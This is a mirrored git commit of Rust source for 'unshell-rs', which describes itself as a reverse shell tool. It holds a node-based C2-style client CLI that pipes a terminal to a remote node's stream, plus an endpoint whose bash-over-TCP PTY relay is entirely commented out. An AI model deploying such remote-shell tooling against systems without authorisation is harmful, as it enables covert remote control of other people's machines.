mirror of
https://github.com/Astatin3/unshell-nodes-rs.git
synced 2026-06-08 16:18:08 -06:00
Move main project to new repository
This commit is contained in:
@@ -0,0 +1,133 @@
|
||||
use std::{
|
||||
io::{Stdin, Stdout, Write},
|
||||
net::SocketAddr,
|
||||
};
|
||||
|
||||
use clap::{Parser, Subcommand, command};
|
||||
use unshell_rs_lib::{
|
||||
Error,
|
||||
nodes::{ConnectionConfig, NodeContainer},
|
||||
};
|
||||
|
||||
use crate::client::node_cli::NodeCli;
|
||||
|
||||
pub trait Cli {
|
||||
fn name(&self) -> String;
|
||||
fn parse(&mut self, input: Vec<String>) -> Result<(), Error>;
|
||||
}
|
||||
|
||||
#[derive(Debug, Parser)]
|
||||
pub struct CommandHolder<P>
|
||||
where
|
||||
P: Subcommand,
|
||||
{
|
||||
#[command(subcommand)]
|
||||
pub command: P,
|
||||
}
|
||||
|
||||
pub fn connect_cli(socket: SocketAddr) -> Result<(), Error> {
|
||||
// let mut client = build_client(TCPClient::connect(&addr)?, vec![])?;
|
||||
|
||||
let node = NodeContainer::connect(
|
||||
"Client".to_string(),
|
||||
vec![ConnectionConfig {
|
||||
socket,
|
||||
layers: vec![],
|
||||
}],
|
||||
vec![],
|
||||
)?;
|
||||
|
||||
let mut current_parser = Box::new(NodeCli::new(node)) as Box<dyn Cli>;
|
||||
|
||||
let parse = |current_parser: &mut Box<dyn Cli + 'static>,
|
||||
stdin: &Stdin,
|
||||
stdout: &mut Stdout|
|
||||
-> Result<(), Error> {
|
||||
let name = current_parser.name();
|
||||
print!("Unshell | {}> ", name);
|
||||
stdout.flush()?;
|
||||
|
||||
let mut input = String::new();
|
||||
stdin.read_line(&mut input)?;
|
||||
|
||||
let input = input.trim();
|
||||
if input.is_empty() {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let mut input = split_escape(input);
|
||||
// Clap expects the first arg to be the program name
|
||||
input.insert(0, name);
|
||||
|
||||
current_parser.parse(input)?;
|
||||
|
||||
Ok(())
|
||||
};
|
||||
|
||||
let stdin = std::io::stdin();
|
||||
let mut stdout = std::io::stdout();
|
||||
|
||||
loop {
|
||||
if let Err(e) = parse(&mut current_parser, &stdin, &mut stdout) {
|
||||
error!("Failed to parse: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn split_escape(input: &str) -> Vec<String> {
|
||||
let mut result = Vec::new();
|
||||
let mut current = String::new();
|
||||
let mut chars = input.chars().peekable();
|
||||
let mut in_single_quote = false;
|
||||
let mut in_double_quote = false;
|
||||
|
||||
while let Some(ch) = chars.next() {
|
||||
match ch {
|
||||
'\\' => {
|
||||
// Handle escape sequences
|
||||
if let Some(&next_ch) = chars.peek() {
|
||||
match next_ch {
|
||||
'\'' | '"' | '\\' | ' ' => {
|
||||
// Escape recognized characters
|
||||
current.push(chars.next().unwrap());
|
||||
}
|
||||
_ => {
|
||||
// For other characters, keep the backslash
|
||||
current.push(ch);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Backslash at end of string
|
||||
current.push(ch);
|
||||
}
|
||||
}
|
||||
'\'' if !in_double_quote => {
|
||||
in_single_quote = !in_single_quote;
|
||||
}
|
||||
'"' if !in_single_quote => {
|
||||
in_double_quote = !in_double_quote;
|
||||
}
|
||||
' ' if !in_single_quote && !in_double_quote => {
|
||||
// Split on unquoted spaces
|
||||
if !current.is_empty() {
|
||||
result.push(current.clone());
|
||||
current.clear();
|
||||
}
|
||||
// Skip consecutive spaces
|
||||
while chars.peek() == Some(&' ') {
|
||||
chars.next();
|
||||
}
|
||||
}
|
||||
_ => {
|
||||
current.push(ch);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add the last token if it exists
|
||||
if !current.is_empty() {
|
||||
result.push(current);
|
||||
}
|
||||
|
||||
result
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
mod cli;
|
||||
mod node_cli;
|
||||
|
||||
pub use cli::connect_cli;
|
||||
@@ -0,0 +1,154 @@
|
||||
use std::{
|
||||
io::{Read, Write, stdin, stdout},
|
||||
thread,
|
||||
};
|
||||
|
||||
use clap::{Parser, Subcommand};
|
||||
use unshell_rs_lib::{
|
||||
Error,
|
||||
networkers::Connection,
|
||||
nodes::{NodeContainer, Stream},
|
||||
};
|
||||
|
||||
use crate::client::cli::{Cli, CommandHolder};
|
||||
|
||||
pub struct NodeCli {
|
||||
node: NodeContainer,
|
||||
subcommand: Option<Box<dyn Cli>>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Subcommand)]
|
||||
pub enum NodeCliCommands {
|
||||
/// List out connected nodes
|
||||
Nodes,
|
||||
/// Send a ping to a remote node
|
||||
Ping { n: usize },
|
||||
// /// Attempt to create a shell at a remote node
|
||||
// Sh { n: usize },
|
||||
/// Attempt to create a shell at a remote node
|
||||
Stream { n: usize },
|
||||
}
|
||||
|
||||
impl Cli for NodeCli {
|
||||
fn name(&self) -> String {
|
||||
"Local".to_string()
|
||||
}
|
||||
fn parse(&mut self, input: Vec<String>) -> Result<(), Error> {
|
||||
if let Some(subcommand) = &mut self.subcommand {
|
||||
return subcommand.parse(input);
|
||||
}
|
||||
let parsed_command = CommandHolder::<NodeCliCommands>::try_parse_from(input)?;
|
||||
|
||||
let node_ids = self.node.get_nodes();
|
||||
|
||||
match parsed_command.command {
|
||||
NodeCliCommands::Nodes => {
|
||||
info!("N | Name");
|
||||
for (i, node) in node_ids.iter().enumerate() {
|
||||
info!("[{}] {}", i + 1, node);
|
||||
}
|
||||
}
|
||||
NodeCliCommands::Ping { .. } => {
|
||||
// if split.count().clone() <= 1 {
|
||||
// warn!("You must specify an option");
|
||||
// continue;
|
||||
// }
|
||||
|
||||
// if n <= 0 {
|
||||
// warn!("Node id must be greater than zero");
|
||||
// } else if n > node_ids.len() {
|
||||
// warn!("Node id {} is out of maximum range {}", n, node_ids.len());
|
||||
// } else {
|
||||
// let start = Instant::now();
|
||||
// let node = node_ids.get(n - 1).unwrap().clone();
|
||||
// self.node.send_unrouted(&node, &C2Packet::Ping).unwrap();
|
||||
// info!("Sent ping...");
|
||||
|
||||
// let (_, packet) = self.node.read()?;
|
||||
// match packet {
|
||||
// C2Packet::Pong => {
|
||||
// // if src != nod
|
||||
// info!(
|
||||
// "Pong! Latency: {}ms",
|
||||
// (start.elapsed().as_micros() as f32) / 1000.
|
||||
// );
|
||||
// }
|
||||
// _ => {
|
||||
// error!("Got incorrect packet: {:?}", packet);
|
||||
// }
|
||||
// }
|
||||
|
||||
// // node_state = self.node.state.lock().unwrap();
|
||||
// }
|
||||
}
|
||||
NodeCliCommands::Stream { n } => {
|
||||
if n <= 0 {
|
||||
warn!("Node id must be greater than zero");
|
||||
} else if n > node_ids.len() {
|
||||
warn!("Node id {} is out of maximum range {}", n, node_ids.len());
|
||||
} else {
|
||||
let node_id = node_ids.get(n - 1).unwrap().clone();
|
||||
|
||||
let stream = self.node.create_stream_block(node_id)?;
|
||||
|
||||
self.run_pty(stream)?;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
impl NodeCli {
|
||||
pub fn new(node: NodeContainer) -> Self {
|
||||
Self {
|
||||
node,
|
||||
subcommand: None,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn run_pty(&mut self, mut stream: Stream) -> Result<(), Error> {
|
||||
let mut stream_clone = stream.try_clone()?;
|
||||
|
||||
// Thread to read from stdin and write to TCP stream
|
||||
let stdin_to_tcp = thread::spawn(move || {
|
||||
let mut stdin = stdin();
|
||||
let mut buffer = [0u8; 1024];
|
||||
loop {
|
||||
match stdin.read(&mut buffer) {
|
||||
Ok(0) => break, // EOF
|
||||
Ok(n) => {
|
||||
if stream.write(&buffer[..n]).is_err() {
|
||||
break;
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
error!("Error reading from stdin: {}", e);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Thread to read from TCP stream and write to stdout
|
||||
let tcp_to_stdout = thread::spawn(move || {
|
||||
loop {
|
||||
let data = stream_clone.read().unwrap();
|
||||
if stdout().write_all(&data).is_err() {
|
||||
break;
|
||||
}
|
||||
stdout().flush().ok();
|
||||
}
|
||||
});
|
||||
|
||||
// Wait for either thread to finish
|
||||
let _ = stdin_to_tcp.join();
|
||||
let _ = tcp_to_stdout.join();
|
||||
|
||||
error!("Disconnected from server");
|
||||
|
||||
Ok(())
|
||||
// pty_pair.Ok(())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,107 @@
|
||||
use std::{net::SocketAddr, thread};
|
||||
|
||||
use portable_pty::{CommandBuilder, PtySize, native_pty_system};
|
||||
use unshell_rs_lib::{
|
||||
Error,
|
||||
networkers::Connection,
|
||||
nodes::{ConnectionConfig, NodeContainer},
|
||||
};
|
||||
|
||||
pub fn run_endpoint(socket: SocketAddr) -> Result<(), Error> {
|
||||
// let node = NodeContainer::connect(
|
||||
// "Server".to_string(),
|
||||
// vec![],
|
||||
// vec![ConnectionConfig {
|
||||
// socket,
|
||||
// layers: vec![],
|
||||
// }],
|
||||
// )?;
|
||||
|
||||
// let mut stream = node.recv_stream()?;
|
||||
|
||||
// let pty_system = native_pty_system();
|
||||
// let pty_pair = pty_system.openpty(PtySize {
|
||||
// rows: 24,
|
||||
// cols: 80,
|
||||
// pixel_width: 0,
|
||||
// pixel_height: 0,
|
||||
// })?;
|
||||
|
||||
// let mut cmd = CommandBuilder::new("bash");
|
||||
// cmd.env("TERM", "xterm-256color");
|
||||
// // pty_pair.
|
||||
|
||||
// let mut child = pty_pair.slave.spawn_command(cmd)?;
|
||||
|
||||
// // Get the master PTY for reading/writing
|
||||
// let master = pty_pair.master;
|
||||
|
||||
// let mut master_reader = master.try_clone_reader()?;
|
||||
// let mut master_writer = master.take_writer()?;
|
||||
|
||||
// // Clone stream for bidirectional communication
|
||||
// let mut stream_clone = stream.try_clone()?;
|
||||
|
||||
// let pty_to_tcp = thread::spawn(move || {
|
||||
// let mut buffer = [0u8; 1024];
|
||||
// loop {
|
||||
// match master_reader.read_(&mut buffer) {
|
||||
// Ok(0) => break, // EOF
|
||||
// Ok(n) => {
|
||||
// if stream.write(&buffer[..n]).is_err() {
|
||||
// break;
|
||||
// }
|
||||
// }
|
||||
// Err(e) => {
|
||||
// error!("Error reading from PTY: {}", e);
|
||||
// break;
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
// println!("stopped!");
|
||||
// });
|
||||
|
||||
// let tcp_to_pty = thread::spawn(move || {
|
||||
// loop {
|
||||
// let data = stream_clone.read().unwrap();
|
||||
// if master_writer.write(&data).is_err() {
|
||||
// break;
|
||||
// }
|
||||
// }
|
||||
// println!("stopped!");
|
||||
// });
|
||||
|
||||
// child.wait()?;
|
||||
// child.kill()?;
|
||||
|
||||
// error!("Proc ended!");
|
||||
|
||||
// // Wait for either thread to finish
|
||||
// let _ = pty_to_tcp.join();
|
||||
// let _ = tcp_to_pty.join();
|
||||
|
||||
// // Clean up the child process
|
||||
// // let _ = child.kill();
|
||||
// // let _ = child.wait();
|
||||
|
||||
// Ok(())
|
||||
|
||||
// // loop {
|
||||
// // let data = stream.read()?;
|
||||
// // println!("DATA: {:?}", data);
|
||||
|
||||
// // let (src, packet) = node()?;
|
||||
// // match packet {
|
||||
// // C2Packet::Ping => {
|
||||
// // info!("Ping from {}!", src);
|
||||
// // // node.send_unrouted(&src, &C2Packet::Pong)?;
|
||||
// // // (&mut node.state.lock().unwrap()).send_unrouted(src, &C2Packet::Pong)?;
|
||||
// // }
|
||||
// // C2Packet::Pong => {
|
||||
// // info!("Pong!");
|
||||
// // }
|
||||
// // _ => {}
|
||||
// // }
|
||||
// // }
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
mod endpoint;
|
||||
|
||||
pub use endpoint::run_endpoint;
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
#[macro_use]
|
||||
extern crate log;
|
||||
|
||||
mod client;
|
||||
mod endpoint;
|
||||
|
||||
pub use client::connect_cli;
|
||||
|
||||
pub use endpoint::run_endpoint;
|
||||
|
||||
// pub use client::UnshellClient;
|
||||
// pub use client::UnshellGui;
|
||||
// pub use server::UnshellServer;
|
||||
+171
@@ -0,0 +1,171 @@
|
||||
use std::{
|
||||
env,
|
||||
error::Error,
|
||||
net::{IpAddr, Ipv4Addr, SocketAddr},
|
||||
str::FromStr,
|
||||
};
|
||||
|
||||
use clap::{Parser, Subcommand};
|
||||
use log::error;
|
||||
use unshell_rs::{connect_cli, run_endpoint};
|
||||
|
||||
pub static DEFAULT_CONFIG_FILEPATH: &'static str = "server_config.json";
|
||||
|
||||
pub static DEFAULT_RELAY_HOST: &'static str = "0.0.0.0";
|
||||
// The default port that this program looks for
|
||||
pub static DEFAULT_SERVICE_PORT: u16 = 13370;
|
||||
// The default website port that this program looks for
|
||||
pub static DEFAULT_WEB_PORT: u16 = 8082;
|
||||
|
||||
pub static LOCAL_SOCKET: SocketAddr =
|
||||
SocketAddr::new(IpAddr::V4(Ipv4Addr::new(127, 12, 34, 56)), 13370);
|
||||
|
||||
#[derive(Debug, Parser)]
|
||||
#[command(name = "unshell-rs")]
|
||||
#[command(about = "Slick reverse shell tool in rust", long_about = None)]
|
||||
struct Args {
|
||||
#[command(subcommand)]
|
||||
command: Commands,
|
||||
}
|
||||
|
||||
#[derive(Debug, Subcommand)]
|
||||
enum Commands {
|
||||
// Run as a service, and potentially hosting a website
|
||||
Relay {
|
||||
/// IPv4 to listen for clients on.
|
||||
#[arg(short, long, default_value_t = DEFAULT_RELAY_HOST.to_string())]
|
||||
host: String,
|
||||
|
||||
/// Port listen to for command clients
|
||||
#[arg(short, long, default_value_t = DEFAULT_SERVICE_PORT)]
|
||||
port: u16,
|
||||
|
||||
/// Json file to store config
|
||||
#[arg(short, long, default_value_t = DEFAULT_CONFIG_FILEPATH.to_string())]
|
||||
config_filepath: String,
|
||||
// /// Port to listen for website traffic (0 is disabled)
|
||||
// #[arg(short, long, default_value_t = DEFAULT_SERVICE_PORT)]
|
||||
// web_port: u16,
|
||||
},
|
||||
/// Connect to remote server
|
||||
Connect {
|
||||
/// Remote server to connect on
|
||||
host: String,
|
||||
|
||||
#[arg(short, long, default_value_t = DEFAULT_SERVICE_PORT)]
|
||||
/// Port listen to for command clients
|
||||
port: u16,
|
||||
},
|
||||
}
|
||||
|
||||
fn main() -> Result<(), Box<dyn Error>> {
|
||||
if env::var("RUST_LOG").is_err() {
|
||||
unsafe { env::set_var("RUST_LOG", "info") }
|
||||
}
|
||||
|
||||
pretty_env_logger::init();
|
||||
let args = Args::parse();
|
||||
|
||||
if let Err(e) = match args.command {
|
||||
// Commands::Relay { host, port, .. } => {
|
||||
// let addr = SocketAddr::from_str(format!("{}:{}", host, port).as_str());
|
||||
// if let Err(e) = Node::run() {
|
||||
// error!("{}", e);
|
||||
// }
|
||||
// }
|
||||
// Commands::Test1 {} => Cli::connect(
|
||||
// "Test1".to_string(),
|
||||
// vec![],
|
||||
// vec![ConnectionConfig {
|
||||
// socket: SocketAddr::from_str("127.0.0.1:13371")?,
|
||||
// layers: vec![],
|
||||
// }],
|
||||
// ),
|
||||
// Commands::Test2 {} => Cli::connect(
|
||||
// "Test2".to_string(),
|
||||
// vec![ConnectionConfig {
|
||||
// socket: SocketAddr::from_str("127.0.0.1:13371")?,
|
||||
// layers: vec![],
|
||||
// }],
|
||||
// vec![ConnectionConfig {
|
||||
// socket: SocketAddr::from_str("127.0.0.1:13372")?,
|
||||
// layers: vec![],
|
||||
// }],
|
||||
// ),
|
||||
// Commands::Test3 {} => Cli::connect(
|
||||
// "Test3".to_string(),
|
||||
// vec![ConnectionConfig {
|
||||
// socket: SocketAddr::from_str("127.0.0.1:13372")?,
|
||||
// layers: vec![],
|
||||
// }],
|
||||
// vec![],
|
||||
// ), // Commands::Test4 {} => Cli::connect(
|
||||
// "Test4".to_string(),
|
||||
// vec![ConnectionConfig {
|
||||
// socket: SocketAddr::from_str("127.0.0.1:13371")?,
|
||||
// layers: vec![],
|
||||
// }],
|
||||
// vec![ConnectionConfig {
|
||||
// socket: SocketAddr::from_str("127.0.0.1:13374")?,
|
||||
// layers: vec![],
|
||||
// }],
|
||||
// ),
|
||||
// Commands::Test5 {} => Cli::connect(
|
||||
// "Test5".to_string(),
|
||||
// vec![
|
||||
// ConnectionConfig {
|
||||
// socket: SocketAddr::from_str("127.0.0.1:13372")?,
|
||||
// layers: vec![],
|
||||
// },
|
||||
// ConnectionConfig {
|
||||
// socket: SocketAddr::from_str("127.0.0.1:13374")?,
|
||||
// layers: vec![],
|
||||
// },
|
||||
// ],
|
||||
// vec![ConnectionConfig {
|
||||
// socket: SocketAddr::from_str("127.0.0.1:13375")?,
|
||||
// layers: vec![],
|
||||
// }],
|
||||
// ),
|
||||
// Commands::Test6 {} => Cli::connect(
|
||||
// "Test6".to_string(),
|
||||
// vec![
|
||||
// ConnectionConfig {
|
||||
// socket: SocketAddr::from_str("127.0.0.1:13373")?,
|
||||
// layers: vec![],
|
||||
// },
|
||||
// ConnectionConfig {
|
||||
// socket: SocketAddr::from_str("127.0.0.1:13375")?,
|
||||
// layers: vec![],
|
||||
// },
|
||||
// ],
|
||||
// vec![],
|
||||
// ),
|
||||
Commands::Connect { host, port } => {
|
||||
let addr = SocketAddr::from_str(format!("{}:{}", host, port).as_str());
|
||||
connect_cli(if let Ok(addr) = addr {
|
||||
addr
|
||||
} else {
|
||||
error!("Could not parse address!");
|
||||
return Ok(());
|
||||
})
|
||||
}
|
||||
Commands::Relay {
|
||||
host,
|
||||
port,
|
||||
config_filepath: _,
|
||||
} => {
|
||||
let addr = SocketAddr::from_str(format!("{}:{}", host, port).as_str());
|
||||
run_endpoint(if let Ok(addr) = addr {
|
||||
addr
|
||||
} else {
|
||||
error!("Could not parse address!");
|
||||
return Ok(());
|
||||
})
|
||||
}
|
||||
} {
|
||||
error!("{}", e);
|
||||
};
|
||||
|
||||
Ok(())
|
||||
}
|
||||
Reference in New Issue
Block a user